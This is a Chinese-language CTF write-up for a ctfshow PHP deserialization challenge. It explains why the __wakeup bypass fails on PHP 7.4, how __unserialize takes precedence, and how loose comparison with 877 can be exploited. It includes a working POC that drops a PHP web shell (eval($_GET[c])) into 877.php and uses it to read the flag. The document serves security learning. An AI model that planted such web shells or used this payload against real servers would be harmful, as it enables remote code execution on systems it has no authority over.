PHP/7.4.16nginx/1.18.0
<?php
highlight_file(__FILE__);
class ctfshowvip{
public $username;
public $password;
public $code;
public function __construct($u,$p){
$this->username=$u;
$this->password=$p;
}
public function __wakeup(){
if($this->username!='' || $this->password!=''){
die('error');
}
}
public function __invoke(){
eval($this->code);
}
public function __sleep(){
$this->username='';
$this->password='';
}
public function __unserialize($data){
$this->username=$data['username'];
$this->password=$data['password'];
$this->code = $this->username.$this->password;
}
public function __destruct(){
if($this->code==0x36d){
file_put_contents($this->username, $this->password);
}
}
}
unserialize($_GET['vip']);
分析
__wakeup()
unserialize() 会检查是否存在一个 wakeup() 方法。如果存在,则会先调用 wakeup 方法,预先准备对象需要的资源。
因这里写着 username
和 password
必须为非空,否则会退出,所以可以考虑要绕过这里
参考 CVE-2016-7124
- 影响范围
PHP5 < 5.6.25
PHP7 < 7.0.10
- 漏洞原理
当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup 函数的执行。
但是题目是 PHP 7.4.2 明显不满足要求,
然后guguru了一下比较显眼的 __unserialize
魔术方法,因为没见过
https://www.php.net/manual/en/language.oop5.magic.php#object.unserialize
发现有趣的东西,官方文档是这样介绍的
就当同时存在 __wakeup
和 __unserialize
魔术方法时,只会调用 __unserialize
魔术方法。
仔细观察析构方法,是个弱比较 $this->code==0x36d
然后 0x36d
的十进制是 877
,写个小实验
也就是说弱比较 $code
变量前面是 877
就好了,不管后面加了啥字符串,就可以让 $code == 0x36d
成立了。
构造 POC
<?php
class ctfshowvip{
public $username = "877.php";
public $password = '<?php eval($_GET[c]); ?>';
}
echo urlencode(serialize(new ctfshowvip()));
会生成 877.php
然后 cat /flag_is_here
即可
题外
因为 PHP 底层是用 C语言写的,原本想着用 \0
作为字符串截断,这样不会拼接 $passwod
字段,然后发现,如果第一个参数有 \0
, file_put_contents
会报错。
然后__invoke
和 __sleep
在这里的用处不太清楚。。